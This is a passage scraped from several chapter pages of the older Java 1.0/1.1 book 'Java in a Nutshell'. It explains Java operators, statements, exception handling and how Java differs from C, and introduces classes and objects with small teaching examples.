5 | <, <= | arithmetic | L | less than, less than or equal
 | >, >= | arithmetic | L | greater than, greater than or equal
 | instanceof | object, type | L | type comparison
6 | == | primitive | L | equal (have identical
 |  |  |  | values)
 | != | primitive | L | not equal (have different values)
 | == | object | L | equal (refer to same object)
 | != | object | L | not equal (refer to different objects)
7 | & | integral | L | bitwise AND
 | & | boolean | L | boolean AND
8 | ^ | integral | L | bitwise XOR
 | ^ | boolean | L | boolean XOR
9 | | | integral | L | bitwise OR
 | | | boolean | L | boolean OR
10 | && | boolean | L | conditional AND
11 | || | boolean | L | conditional OR
12 | ?: | boolean, any, any | R | conditional (ternary) operator
13 | = | variable, any | R | assignment
 | *=, /=, %=, +=, -=, <<=, >>=, >>>=, &=, ^=, |= | variable, any | R | assignment with operation

Note the following Java operator differences from C. Java does not support the comma operator for combining two expressions into one (although the for statement simulates this operator in a useful way). Since Java does not allow you to manipulate pointers directly, it does not support the reference and dereference operators *, ->, and &, nor the sizeof operator. Further, Java doesn't consider [] (array access) and . (field access) to be operators, as C does.

Java also adds some new operators:

The + operator applied to String values concatenates them. [5] If only one operand of + is a String, the other one is converted to a string. The conversion is done automatically for primitive types, and by calling the toString() method of non-primitive types. This String + operator has the same precedence as the arithmetic + operator. The += operator works as you would expect for String values.

[5] To C++ programmers, this looks like operator overloading. In fact, Java does not support operator overloading--the language designers decided (after much debate) that overloaded operators were a neat idea, but that code that relied on them became hard to read and understand.

The instanceof operator returns true if the object o on its left-hand side is an instance of the class C or implements the interface I specified on its right-hand side. It also returns true if o is an instance of a subclass of C or is an instance of a subclass of some class that implements I. instanceof returns false if o is not an instance of C or does not implement I. It also returns false if the value on its left is null. If instanceof returns true, it means that o is assignable to variables of type C or I. The instanceof operator has the same precedence as the <, <=, >, and >= operators.

Because all integral types in Java are signed values, the Java >> operator is defined to do a right shift with sign extension. The >>> operator treats the value to be shifted as an unsigned number and shifts the bits right with zero extension. The >>>= operator works as you would expect.

& and |

When & and | are applied to integral types in Java, they perform the expected bitwise AND and OR operations. Java makes a strong distinction between integral types and the boolean type, however. Thus, if these operators are applied to boolean types, they perform logical AND and logical OR operations. These logical AND and logical OR operators always evaluate both of their operands, even when the result of the operation is determined after evaluating only the left operand. This is useful when the operands are expressions with side effects (such as method calls) and you always want the side effects to occur. However, when you do not want the right operand evaluated if it is not necessary, you can use the && and || operators, which perform "short-circuited" logical AND and logical OR operations just as in C. The &= and |= operators perform a bitwise or logical operation depending on the type of the operands, as you would expect.

Previous | Home | Next
Strings | Book Index | Statements
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.12 Statements

Java in a Nutshell

Previous Chapter 2
How Java Differs from C 		Next

2.12 Statements

Many of Java's control statements are similar or identical to C statements. This section lists and, where necessary, explains Java's statements. Note that the topic of exceptions and the try/catch/finally statement is substantial enough that it is covered later in a section of its own.

The if/else, while, and do/while Statements

The if, else, do, and while statements are exactly the same in Java as they are in C. The only substantial difference arises because the Java boolean type cannot be cast to other types. In Java, the values 0 and null are not the same as false, and non-zero and non-null values are not the same as true.

The conditional expression that is expected by the if, the while, and the do/while statements must be of boolean type in Java. Specifying an integer type or a reference type won't do. Thus, the following C code is not legal in Java:

int i = 10;
while(i--) {
    Object o = get_object();
    if (o) {
        do { ... } while(j);
    }
}

In Java, you must make the condition you are testing for clear by explictly testing your value against 0 or null. Use code like the following:

int i = 10;
while(i-- > 0) {
    Object o = get_object();
    if (o != null) {
        do { ... } while(j != 0);
    }
}

The switch Statement

The switch statement is the same in Java as it is in C. You may use byte, char, short, int, or long types as the values of the case labels, and you may also specify a default label just as you do in C.

The for Loop

The for statement is perhaps the most useful looping construct available in Java. There are only two differences between the Java for loop and the C for loop. The first difference is that although Java does not support the C comma operator (which allows multiple expressions to be joined into a single expression), the Java for loop simulates it by allowing multiple comma-separated expressions to appear in the initialization and increment sections, but not the test section, of the loop. For example:

int i;
String s;
for(i=0, s = "testing";             // Initialize variables.
    (i < 10) && (s.length() >= 1);  // Test for continuation.
    i++, s = s.substring(1))        // Increment variables.
{
    System.out.println(s);          // Loop body.
}

As you can see, this "difference" between the Java and C for loops is really a similarity.

The second difference is the addition of the C++ ability to declare local loop variables in the initialization section of the loop:

for(int i = 0; i < my_array.length; i++)
    System.out.println("a[" + i + "] = " + my_array[i]);

Variables declared in this way have the for loop as their scope. In other words, they are only valid within the body of the for loop and within the initialization, test, and increment expressions of the loop. Although variables declared in for loops have their own scope, the Java compiler won't let you declare a loop variable that has the same name as an already existing variable or parameter.

Note that because variable declaration syntax also uses the comma, the Java syntax allows you to either specify multiple comma-separated initialization expressions or to declare and initialize multiple comma-separated variables of the same type. You may not mix variable declarations with other, non-declaration expressions. For example, the following for loop declares and initializes two variables that are valid only within the for loop.

for(int i=0, j=10; i < j; i++, j--) System.out.println("k = " + i*j);

Labelled break and continue Statements

The break and continue statements, used alone, behave the same in Java as they do in C. However, in Java, they may optionally be followed by a label that specifies an enclosing loop (for continue) or any enclosing statement (for break). The labelled forms of these statements allow you to "break" and "continue" any specified statement or loop within a method definition, not only the nearest enclosing statements or loop.

The break statement, without a label, transfers control out of ("breaks out of" or terminates) the nearest enclosing for, while, do or switch statement, exactly as in C. If the break keyword is followed by an identifier that is the label of an arbitrary enclosing statement, execution transfers out of that enclosing statement. After the break statement is executed, any required finally clauses are executed, and control resumes at the statement following the terminated statement. (The finally clause and the try statement it is associated with are exception handling constructs and are explained in the next section.) For example:

test: if (check(i)) {
    try {
        for(int j=0; j < 10; j++) {
            if (j > i) break;           // Terminate just this loop.
            if (a[i][j] == null)
                break test;             // Do the finally clause and
        }                               // terminate the if statement.
    }
    finally { cleanup(a, i, j); }
}

Without a label, the continue statement works exactly as in C: It stops the iteration in progress and causes execution to resume after the last statement in the while, do, or for loop, just before the loop iteration is to begin again. If the continue keyword is followed by an identifier that is the label of an enclosing loop, execution skips to the end of that loop instead. If there are any finally clauses between the continue statement and the end of the appropriate loop, these clauses are executed before control is transferred to the end of the loop.

The following code fragment illustrates how the continue statement works in its labelled and unlabelled forms.

big_loop: while(!done) {
    if (test(a,b) == 0) continue;       // Control goes to point 2.
    try {
        for(int i=0; i < 10; i++) {
            if (a[i] == null)
                continue;               // Control goes to point 1.
            else if (b[i] == null)
                continue big_loop;      // Control goes to point 2,
                                        // after executing the finally block.
            doit(a[i],b[i]);
           // Point 1.  Increment and start loop again with the test.
        }
    }
    finally { cleanup(a,b); }
    // Point 2.  Start loop again with the (!done) test.
}

Note the non-intuitive feature of the labelled continue statement: The loop label must appear at the top of the loop, but continue causes execution to transfer to the very bottom of the loop.

No goto Statement

goto is a reserved word in Java, but the goto statement is not currently part of the language. Labelled break and continue statements replace some important and legitimate uses of goto, and the try/catch/finally statement replaces the others.

The synchronized Statement

Since Java is a multithreaded system, care must often be taken to prevent multiple threads from modifying objects simultaneously in a way that might leave the object's state corrupted. Sections of code that must not be executed simultaneously are known as "critical sections." Java provides the synchronized statement to protect these critical sections. The syntax is:

synchronized (expression) statement

expression is an expression that must resolve to an object or an array. The statement is the code of the critical section, which is usually a block of statements (within { and }). The synchronized statement attempts to acquire an exclusive lock for the object or array specified by expression. It does not execute the critical section of code until it can obtain this lock, and in this way, ensures that no other threads can be executing the section at the same time.

Note that you do not have to use the synchronized statement unless your program creates multiple threads that share data. If only one thread ever accesses a data structure, there is no need to protect it with synchronized. When you do have to use it, it might be in code like the following:

public static void SortIntArray(int[] a) {
    // Sort the array a. This is synchronized so that some other
    // thread can't change elements of the array while we're sorting it.
    // At least not other threads that protect their changes to the
    // array with synchronized.
    synchronized (a) {
        // Do the array sort here.
    }
}

The synchronized keyword is more often used as a method modifier in Java. When applied to a method, it indicates that the entire method is a critical section. For a synchronized class method (a static method), Java obtains an exclusive lock on the class before executing the method. For a synchronized instance method, Java obtains an exclusive lock on the class instance. (Class methods and instance methods are discussed in the next chapter.)

The package and import Statements

The package statement, as we saw earlier in the chapter, specifies the package that the classes in a file of Java source code are part of. If it appears, it must be the first statement of a Java file. The import statement, which we also saw earlier, allows us to refer to classes by abbreviated names. import statements must appear after the package statement, if any, and before any other statements in a Java file. For example:

package games.tetris;
import java.applet.*;
import java.awt.*;

Previous | Home | Next
Operators | Book Index | Exceptions and Exception Handling
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.13 Exceptions and Exception Handling

Java in a Nutshell

Previous Chapter 2
How Java Differs from C 		Next

2.13 Exceptions and Exception Handling

Exception handing is a significant new feature of Java. [6] There are a number of new terms associated with exception handling. First, an exception is a signal that indicates that some sort of exceptional condition (such as an error) has occurred. To throw an exception is to signal an exceptional condition. To catch an exception is to handle it--to take whatever actions are necessary to recover from it.

[6] It is similar to, but not quite the same as, exception handling in C++.

Exceptions propagate up through the lexical block structure of a Java method, and then up the method call stack. If an exception is not caught by the block of code that throws it, it propagates to the next higher enclosing block of code. If it is not caught there, it propagates up again. If it is not caught anywhere in the method, it propagates to the invoking method, where it again propagates through the block structure. If an exception is never caught, it propagates all the way to the main() method from which the program started, and causes the Java interpreter to print an error message and a stack trace and exit.

As we'll see in the subsections below, exceptions make error handling (and "exceptional condition" handling) more regular and logical by allowing you to group all your exception handling code into one place. Instead of worrying about all of the things that can go wrong with each line of your code, you can concentrate on the algorithm at hand and place all your error handling code (that is, your exception catching code) in a single place.

Exception Objects

An exception in Java is an object that is an instance of some subclass of java.lang.Throwable. Throwable has two standard subclasses: java.lang.Error and java.lang.Exception. [7] Exceptions that are subclasses of Error generally indicate linkage problems related to dynamic loading, or virtual machine problems such as running out of memory. They should almost always be considered unrecoverable, and should not be caught. While the distinction is not always clear, exceptions that are subclasses of Exception indicate conditions that may be caught and recovered from. They include such exceptions as java.io.EOFException, which signals the end of a file, and java.lang.ArrayAccessOutOfBounds, which indicates that a program has tried to read past the end of an array.

[7] We'll use the term "exception" to refer to any subclass of Throwable, whether it is actually an Exception or an Error.

Since exceptions are objects, they can contain data and define methods. The Throwable object, at the top of the exception class hierarchy, includes a String message in its definition and this field is inherited by all exception classes. This field is used to store a human-readable error message that describes the exceptional condition. It is set when the exception object is created by passing an argument to the constructor method. The message can be read from the exception with the Throwable.getMessage() method. Most exceptions contain only this single message, but a few add other data. The java.io.InterruptedIOException, for example, adds the following field:

public int bytesTransferred;

This field specifies how much of the I/O was complete before the exceptional condition occurred.

Exception Handling

The try/catch/finally statement is Java's exception handling mechanism. try establishes a block of code that is to have its exceptions and abnormal exits (through break, continue, return, or exception propagation) handled. The try block is followed by zero or more catch clauses that catch and handle specified types of exceptions. The catch clauses are optionally followed by a finally block that contains "clean-up" code. The statements of a finally block are guaranteed to be executed, regardless of how the code in the try block exits. A detailed example of the try/catch/finally syntax is shown in Example 2.2.

Example 2.2: The try/catch/finally Statement

try {
        // Normally this code runs from the top of the block to the bottom
        // without problems.  But it sometimes may raise exceptions or
        // exit the block via a break, continue, or return statement.
}
catch (SomeException e1) {
        // Handle an exception object e1 of type SomeException
        // or of a subclass of that type.
}
catch (AnotherException e2) {
        // Handle an exception object e2 of type AnotherException
        // or of a subclass of that type.
}
finally {
        // Always execute this code, after we leave the try clause,
        // regardless of whether we leave it:
        //    1) Normally, after reaching the bottom of the block.
        //    2) With an exception that is handled by a catch.
        //    3) With an exception that is not handled.
        //    4) Because of a break, continue, or return statement.
}

try

The try clause simply establishes a block of code that is to have its exceptions and abnormal exits (through break, continue, return, or exception propagation) handled. The try clause by itself doesn't do anything interesting; it is the catch and finally clauses that do the exception handling and clean-up operations.

catch

A try block may be followed by zero or more catch clauses that specify code to handle various types of exceptions. catch clauses have an unusual syntax: each is declared with an argument, much like a method argument. This argument must be of type Throwable or a subclass. When an exception occurs, the first catch clause that has an argument of the appropriate type is invoked. The type of the argument must match the type of the exception object, or it must be a superclass of the exception. This catch argument is valid only within the catch block, and refers to the actual exception object that was thrown.

The code within a catch block should take whatever action is necessary to cope with the exceptional condition. If the exception was a java.io.FileNotFoundException exception, for example, you might handle it by asking the user to check his or her spelling and try again. Note that it is not required to have a catch clause for every possible exception--in some cases the correct response is to allow the exception to propagate up and be caught by the invoking method. In other cases, such as a programming error signaled by NullPointerException, the correct response is to not catch the exception at all, but to allow it to propagate and to have the Java interpreter exit with a stack trace and an error message.

finally

The finally clause is generally used to clean up (close files, release resources, etc.) after the try clause. What is useful about the finally clause is that the code in a finally block is guaranteed to be executed, if any portion of the try block is executed, regardless of how the code in the try block completes. In the normal case, control reaches the end of the try block and then proceeds to the finally block, which performs any necessary cleanup.

If control leaves the try block because of a return, continue, or break statement, the contents of the finally block are executed before control transfers to its new destination.

If an exception occurs in the try block and there is a local catch block to handle the exception, control transfers first to the catch block, and then to the finally block. If there is not a local catch block to handle the exception, control transfers first to the finally block, and then propagates up to the nearest catch clause that can handle the exception.

Note that if a finally block itself transfers control with a return, continue, or break statement, or by raising an exception, the pending control transfer is abandoned, and this new transfer is processed.

Also note that try and finally can be used together without exceptions or any catch clauses. In this case, the finally block is simply cleanup code that is guaranteed to be executed regardless of any break, continue, or return statements within the try clause.

Declaring Exceptions

Java requires that any method that can cause a "normal exception" to occur must either catch the exception or specify the type of the exception with a throws clause in the method declaration. [8] Such a throws clause might look like these:

[8] C++ programmers should note that Java uses throws where C++ uses throw.

public void open_file() throws IOException {
    // Statements here that might generate an uncaught java.io.IOException
}
public void myfunc(int arg) throws MyException1, MyException2 {
    ...
}

Note that the exception class specified in a throws clause may be a superclass of the exception type that is actually thrown. Thus if a method throws exceptions a, b, and c, all of which are subclasses of d, the throws clause may specify all of a, b, and c, or it may simply specify d.

We said above that the throws clause must be used to declare any "normal exceptions." This oxymoronic phrase refers to any subclass of Throwable that is not a subclass of Error or a subclass of RuntimeException. Java does not require these types of exceptions to be declared because practically any method can conceivably generate them, and it would quickly become tedious to properly declare them all. For example, every method running on a buggy Java interpreter can throw an InternalError exception (a subclass of Error) and it doesn't make sense to have to declare this in a throws clause for every method. Similarly, as far as the Java compiler is concerned, any method that accesses an array can generate an ArrayIndexOutOfBoundsException exception (a subclass of RuntimeException).

The standard exceptions that you often have to declare are java.io.IOException and a number of its more specific subclasses. java.lang.InterruptedException and several other less commonly used exceptions must also be declared. How do you know when you have to declare a throws clause? One way is to pay close attention to the documentation for the methods you call--if any "normal exceptions" can be thrown, either catch them or declare them. Another way to know what exceptions you've got to declare is to declare none and wait for the compilation errors--the compiler will tell you what to put in your throws clause!

Defining and Generating Exceptions

You can signal your own exceptions with the throw statement. The throw keyword must be followed by an object that is Throwable or a subclass. Often, exception objects are allocated in the same statement that they are thrown in:

throw new MyException("my exceptional condition occurred.");

When an exception is thrown, normal program execution stops and the interpreter looks for a catch clause that can handle the exception. Execution propagates up through enclosing statements and through invoking functions until such a handler is found. Any finally blocks that are passed during this propagation are executed.

Using exceptions is a good way to signal and handle errors in your own code. By grouping all your error handling and recover code together within the try/catch/finally structure, you will end up with cleaner code that is easier to understand. Sometimes, when you are throwing an exception, you can use one of the exception classes already defined by Java API. Often, though, you will want to define and throw your own exception types.

Example 2.3 shows how you can define your own exception types, throw them, and handle them. It also helps clarify how exceptions propagate. It is a long example, but worth studying in some detail. You'll know you understand exception handling if you can answer the following: What happens when this program is invoked with no argument; with a string argument; and with integer arguments 0, 1, 2, and 99?

Example 2.3: Defining, Throwing, and Handling Exceptions

// Here we define some exception types of our own.
// Exception classes generally have constructors but no data or
// other methods.  All these do is call their superclass constructors.
class MyException extends Exception {
  public MyException() { super(); }
  public MyException(String s) { super(s); }
}
class MyOtherException extends Exception {
  public MyOtherException() { super(); }
  public MyOtherException(String s) { super(s); }
}
class MySubException extends MyException {
  public MySubException() { super(); }
  public MySubException(String s) { super(s); }
}
public class throwtest {
  // This is the main() method.  Note that it uses two
  // catch clauses to handle two standard Java exceptions.
  public static void main(String argv[]) {
    int i;

    // First, convert our argument to an integer.
    // Make sure we have an argument and that it is convertible.
    try {  i = Integer.parseInt(argv[0]);  }
    catch (ArrayIndexOutOfBoundsException e) { // argv is empty
      System.out.println("Must specify an argument");
      return;
    }
    catch (NumberFormatException e) { // argv[0] isn't an integer
      System.out.println("Must specify an integer argument");
      return;
    }

    // Now, pass that integer to method a().
    a(i);
  }

  // This method invokes b(), which is declared to throw
  // one type of exception.  We handle that one exception.
  public static void a(int i) {
    try {
      b(i);
    }
    catch (MyException e) {                                      // Point 1
      // Here we handle MyException and its subclass MySubException.
      if (e instanceof MySubException)
        System.out.print("MySubException: ");
      else
        System.out.print("MyException: ");
      System.out.println(e.getMessage());
      System.out.println("Handled at point 1");
    }
  }

  // This method invokes c(), and handles one of the two exception
  // types that that method can throw.  The other exception type is
  // not handled, and is propagated up and declared in this method's
  // throws clause.  This method also has a finally clause to finish
  // up the work of its try clause.  Note that the finally clause is
  // executed after a local catch clause, but before a containing
  // catch clause or one in an invoking procedure.
  public static void b(int i) throws MyException {
    int result;
    try {
      System.out.print("i = " + i);
      result = c(i);
      System.out.print(" c(i) = " + result);
    }
    catch (MyOtherException e) {                                 // Point 2
      // Handle MyOtherException exceptions:
      System.out.println("MyOtherException: " + e.getMessage());
      System.out.println("Handled at point 2");
    }
    finally {
      // Terminate the output we printed above with a newline.
      System.out.print("\n");
    }
  }

  // This method computes a value or throws an exception.
  // The throws clause only lists two exceptions, because
  // one of the exceptions thrown is a subclass of another.
  public static int c(int i) throws MyException, MyOtherException {
    switch (i) {
    case 0:      // processing resumes at point 1 above
      throw new MyException("input too low");
    case 1:      // processing resumes at point 1 above
      throw new MySubException("input still too low");
    case 99:     // processing resumes at point 2 above
      throw new MyOtherException("input too high");
    default:
      return i*i;
    }
  }
}

Previous | Home | Next
Statements | Book Index | Miscellaneous Differences
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.14 Miscellaneous Differences

Java in a Nutshell

Previous Chapter 2
How Java Differs from C 		Next

2.14 Miscellaneous Differences

A number of miscellaneous differences between Java and C are described in the sections that follow. Miscellaneous differences that were mentioned elsewhere, such as the lack of the goto statement and the sizeof operator, are not repeated here.

Local Variable Declarations

A feature that Java has borrowed from C++ is the ability to declare and initialize local variables anywhere in a method body or other block of code. Declarations and their initializers no longer have to be the first statements in any block--you can declare them where it is convenient and fits well with the structure of your code.

Don't let this freedom make you sloppy, however! For someone reading your program, it is nice to have variable declarations grouped together in one place. As a rule of thumb, put your declarations at the top of the block, unless you have some good organizational reason for putting them elsewhere.

Forward References

For compiler efficiency, C requires that variables and functions must be defined, or at least declared, before they can be used or called. That is, forward references are not allowed in C. Java does not make this restriction, and by lifting it, it also does away with the whole concept of a variable or function declaration that is separate from the definition.

Java allows very flexible forward references. A method may refer to a variable or another method of its class, regardless of where in the current class the variable or method is defined. Similarly, it may refer to any class, regardless of where in the current file (or outside of the file) that class is defined. The only place that forward references are not allowed is in variable initialization. A variable initializer (for local variables, class variables, or instance variables) may not refer to other variables that have not yet been declared and initialized.

Method Overloading

A technique that Java borrows from C++ is called method overloading. Overloaded methods are methods that have the same name, but have different signatures. In other words, they take different types of arguments, a different number of arguments, or the same type of arguments in different positions in the argument list. You cannot overload a method by changing only its return type. Two methods with the same name may have different return types, but only if the method arguments also differ. Similarly, two overloaded methods may throw different exceptions, but only if their arguments differ as well.

Method overloading is commonly used in Java to define a number of related functions with the same name, but different arguments. Overloaded methods usually perform the same basic operation, but allow the programmer to specify arguments in different ways depending on what is convenient in a given situation. Method overloading is discussed in more detail in the next chapter.

The void Keyword

The void keyword is used in Java, as in C, to indicate that a function returns no value. (As we will see in the next section, constructor methods are an exception to this rule.)

Java differs from C (and is similar to C++) in that methods that take no arguments are declared with empty parentheses, not with the void keyword. Java does not have any void * type, nor does it use a (void) cast in order to ignore the result returned by a call to a non-void method.

Modifiers

Java defines a number of modifier keywords that may be applied to variable and/or method declarations to provide additional information or place restrictions on the variable or method:

final

The final keyword is a modifier that may be applied to classes, methods, and variables. It has a similar, but not identical, meaning in each case. A final class may never be subclassed. A final method may never be overridden. A final variable may never have its value set. In Java 1.1, this modifier may also be applied to local variables and method parameters. This modifier is discussed in more detail in the next chapter.

native

native is a modifier that may be applied to method declarations. It indicates that the method is implemented elsewhere in C, or in some other platform-dependent fashion. A native method should have a semicolon in place of its body.

synchronized

We saw the synchronized keyword in a previous section where it was a statement that marked a critical section of code. The same keyword can also be used as a modifier for class or instance methods. It indicates that the method modifies the internal state of the class or the internal state of an instance of the class in a way that is not thread-safe. Before running a synchronized class method, Java obtains a lock on the class, to ensure that no other threads can modif the class concurrently. Before running a synchronized instance method, Java obtains a lock on the instance that invoked the method, ensuring that no other thread can modify the object at the same time.

transient

The transient keyword is a modifier that may be applied to instance fields in a class. This modifier is legal but unused in Java 1.0. In Java 1.1, it indicates a field that is not part of an object's persistent state and thus does not need to be serialized with the object.

volatile

The volatile keyword is a modifier that may be applied to fields. It specifies that the field is used by synchronized threads and that the compiler should not attempt to perform optimizations with it. For example, it should read the variable's value from memory every time and not attempt to save a copy of it on the stack.

No Structures or Unions

Java does not support C struct or union types. Note, however, that a class is essentially the same thing as a struct, but with more features. And you can simulate the important features of a union by subclassing.

No Enumerated Types

Java does not support the C enum keyword for defining types that consist of one of a specified number of named values. This is somewhat surprising for a strongly-typed language like Java. Enumerated types can be partially simulated with the use of static final constant values.

No Method Types

C allows you to store the address of a function in a variable and to pass function addresses to other functions. You cannot do this in Java: methods are not data, and cannot be manipulated by Java programs. Note, however, that objects are data, and that objects can define methods. [9] So, when you need to pass a method to another method, you declare a class that defines the desired method and pass an instance of that class. See, for example, the FilenameFilter interface in the java.io package.

[9] An interesting way to think about objects in Java is as a kind of method that defines multiple entry points.

No Bitfields

Java does not support the C ability to define variables that occupy particular bits within struct and union types. This feature of C is usually only used to interface directly to hardware devices, which is never necessary with Java's platform-independent programming model.

No typedef

Java does not support the C typedef keyword to define aliases for type names. Java has a much simpler type naming scheme than C does, however, and so there is no need for something like typedef.

No Variable-Length Argument Lists

Java does not allow you to define methods that take a variable number of arguments, as C does. This is because Java is a strongly typed language and there is no way to do appropriate type checking for a method with variable arguments. Method overloading allows you to simulate C "varargs" functions for simple cases, but there is no general replacement for this C feature.

Previous | Home | Next
Exceptions and Exception Handling | Book Index | Classes and Objects in Java
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] How Java Differs from C

Java in a Nutshell

Previous Chapter 2 Next

2. How Java Differs from C

Contents:

Select a new section and then

Java is a lot like C, which makes it relatively easy for C programmers to learn. But there are a number of important differences between C and Java, such as the lack of a preprocessor, the use of 16-bit Unicode characters, and the exception handling mechanism. This chapter explains those differences, so that programmers who already know C can start programming in Java right away!

This chapter also points out similarities and differences between Java and C++. C++ programmers should beware, though: While Java borrows a lot of terminology and even syntax from C++, the analogies between Java and C++ are not nearly as strong as those between Java and C. C++ programmers should be careful not to be lulled into a false sense of familiarity with Java just because the languages share a number of keywords.

One of the main areas in which Java differs from C, of course, is that Java is an object-oriented language and has mechanisms to define classes and create objects that are instances of those classes. Java's object-oriented features are a topic for a chapter of their own, and they'll be explained in detail in Chapter 3, Classes and Objects in Java.

2.1 Program Structure and Environment

A program in Java consists of one or more class definitions, each of which has been compiled into its own .class file of Java Virtual Machine object code. One of these classes must define a method main(), which is where the program starts running. [1]

[1] Method is an object-oriented term for a procedure or function. You'll see it used throughout this book.

To invoke a Java program, you run the Java interpreter, java, and specify the name of the class that contains the main() method. You should omit the .class extension when doing this. Note that a Java applet is not an application--it is a Java class that is loaded and run by an already running Java application such as a Web browser or applet viewer.

The main() method that the Java interpreter invokes to start a Java program must have the following prototype:

public static void main(String args[])

The Java interpreter runs until the main() method returns, or until the interpreter reaches the end of main(). If no threads have been created by the program, the interpreter exits. Otherwise, the interpreter continues running until the last thread terminates.

Command-Line Arguments

The single argument to main() is an array of strings, conventionally named args or argv. The length of this array (which would be passed as the argc argument in C) is available as argv.length, as is the case with any Java array. The elements of the array are the arguments, if any, that appeared on the interpreter command line after the class name. Note that the first element of the array is not the name of the class, as a C programmer might expect it to be. Example 2.1 shows how you could write a UNIX-style echo command (a program that simply prints out its arguments) in Java.

Example 2.1: An Echo Program in Java

public class echo {
    public static void main(String argv[]) {
        for(int i=0; i < argv.length; i++)
            System.out.print(argv[i] + " ");
        System.out.print("\n");
        System.exit(0);
    }
}

Program Exit Value

Note that main() must be declared to return void. Thus you cannot return a value from your Java program with a return statement in main(). If you need to return a value, call System.exit() with the desired integer value, as we've done in Example 2.1. Note that the handling and interpretation of this exit value are, of course, operating-system dependent. System.exit() causes the Java interpreter to exit immediately, whether or not other threads are running.

Environment

The Java API does not allow a Java program to read operating system environment variables because they are platform-dependent. However, Java defines a similar, platform-independent mechanism, known as the system properties list, for associating textual values with names.

A Java program can look up the value of a named property with the System.getProperty() method:

String homedir = System.getProperty("user.home");
String debug = System.getProperty("myapp.debug");

The Java interpreter automatically defines a number of standard system properties when it starts up. You can insert additional property definitions into the list by specifying the -D option to the interpreter:

% java -Dmyapp.debug=true myapp

See Chapter 14, System Properties for more information on system properties.

Previous | Home | Next
A Simple Example | Book Index | The Name Space: Packages, Classes, and Members
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] Classes and Objects in Java

Java in a Nutshell

Previous Chapter 3 Next

3. Classes and Objects in Java

Contents:
Introduction to Classes and Objects
Object Creation
Class Variables
Class Methods
Object Destruction
Subclasses and Inheritance
Overriding Methods
Data Hiding and Encapsulation
Abstract Classes and Interfaces
C++ Features Not Found in Java
Summary

Java is an object-oriented language. "Object-oriented" is a term that has become so commonly used as to have practically no concrete meaning. This chapter explains just what "object-oriented" means for Java. It covers:

  • Classes and objects in Java

  • Creating objects

  • Garbage collection to free up unused objects

  • The difference between class (or static) variables and instance variables, and the difference between class (or static) methods and instance methods

  • Extending a class to create a subclass

  • Overriding class methods and dynamic method lookup

  • Abstract classes

  • Interface types and their implementation by classes

If you are a C++ programmer, or have other object-oriented programming experience, many of the concepts in this list should be familiar to you. If you do not have object-oriented experience, don't fear: This chapter assumes no knowledge of object-oriented concepts.

We saw in the last chapter that close analogies can be drawn between Java and C. Unfortunately for C++ programmers, the same is not true for Java and C++. Java uses object-oriented programming concepts that are familiar to C++ programmers, and it even borrows from C++ syntax in a number of places, but the analogies between Java and C++ are not nearly as strong as those between Java and C. [1] C++ programmers may have an easier time with this chapter than C programmers will, but they should still read it carefully and try not to form preconceptions about Java based on their knowledge of C++.

[1] As we'll see, Java supports garbage collection and dynamic method lookup. This actually makes it a closer relative, beneath its layer of C-like syntax, to languages like Smalltalk than to C++.

3.1 Introduction to Classes and Objects

A class is a collection of data and methods that operate on that data. [2] The data and methods, taken together, usually serve to define the contents and capabilities of some kind of object.

[2] A method is the object-oriented term for a procedure or a function. You'll see it used a lot in this book. Treat it as a synonym for "procedure."

For example, a circle can be described by the x, y position of its center and by its radius. There are a number of things we can do with circles: compute their circumference, compute their area, check whether points are inside them, and so on. Each circle is different (i.e., has a different center or radius), but as a class, circles have certain intrinsic properties that we can capture in a definition. Example 3.1 shows how we could partially define the class of circles in Java. Notice that the class definition contains data and methods (procedures) within the same pair of curly brackets. [3]

[3] C++ programmers should note that methods go inside the class definition in Java, not outside with the :: operator as they usually do in C++.

Example 3.1: The Class of Circles, Partially Captured in Java Code

public class Circle {
    public double x, y;   // The coordinates of the center
    public double r;      // The radius
    // Methods that return the circumference and area of the circle
    public double circumference() { return 2 * 3.14159 * r; }
    public double area() { return 3.14159 * r*r; }
}

Objects Are Instances of a Class

Now that we've defined (at least partially) the class Circle, we want to do something with it. We can't do anything with the class of circles itself--we need a particular circle to work with. We need an instance of the class, a single circle object.

By defining the Circle class in Java, we have created a new data type. We can declare variables of that type:

Circle c;

But this variable c is simply a name that refers to a circle object; it is not an object itself. In Java, all objects must be created dynamically. This is almost always done with the new keyword:

Circle c;
c = new Circle();

Now we have created an instance of our Circle class--a circle object--and have assigned it to the variable c, which is of type Circle.

Accessing Object Data

Now that we've created an object, we can use its data fields. The syntax should be familiar to C programmers:

Circle c = new Circle();
c.x = 2.0;  // Initialize our circle to have center (2, 2) and radius 1.0.
c.y = 2.0;
c.r = 1.0;

Using Object Methods

This is where things get interesting! To access the methods of an object, we use the same syntax as accessing the data of an object:

Circle c = new Circle();
double a;
c.r = 2.5;
a = c.area();

Take a look at that last line. We did not say:

a = area(c);

We said:

a = c.area();

This is why it is called "object-oriented" programming; the object is the focus here, not the function call. This is probably the single most important feature of the object-oriented paradigm.

Note that we don't have to pass an argument to c.area(). The object we are operating on, c, is implicit in the syntax. Take a look at Example 3.1 again: you'll notice the same thing in the definition of the area() method--it doesn't take an argument. It is implicit in the language that a method operates on an instance of the class within which it is defined. Thus our area() method can use the r field of the class freely--it is understood that it is referring to the radius of whatever Circle instance invokes the method.

How It Works

What's going on here? How can a method that takes no arguments know what data to operate on? In fact, the area() method does have an argument! area() is implemented with an implicit argument that is not shown in the method declaration. The implicit argument is named this, and refers to "this object"--the Circle object through which the method is invoked. this is often called the "this pointer." [4]

[4] "this pointer" is C++ terminology. Since Java does not support pointers, I prefer the term "this reference."

The implicit this argument is not shown in method signatures because it is usually not needed--whenever a Java method accesses the fields in its class, it is implied that it is accessing fields in the object referred to by the this argument. The same is true, as we'll see, when a method in a class invokes other methods in the class--it is implicit that the methods are being invoked for the this object.

We can use the this keyword explicitly when we want to make explicit that a method is accessing its own variables and/or methods. For example, we could rewrite the area() method like this:

public double area() { return 3.14159 * this.r * this.r; }

In a method this simple, it is not necessary to be explicit. In more complicated cases, however, you may find that it increases the clarity of your code to use an explicit this where it is not strictly required.

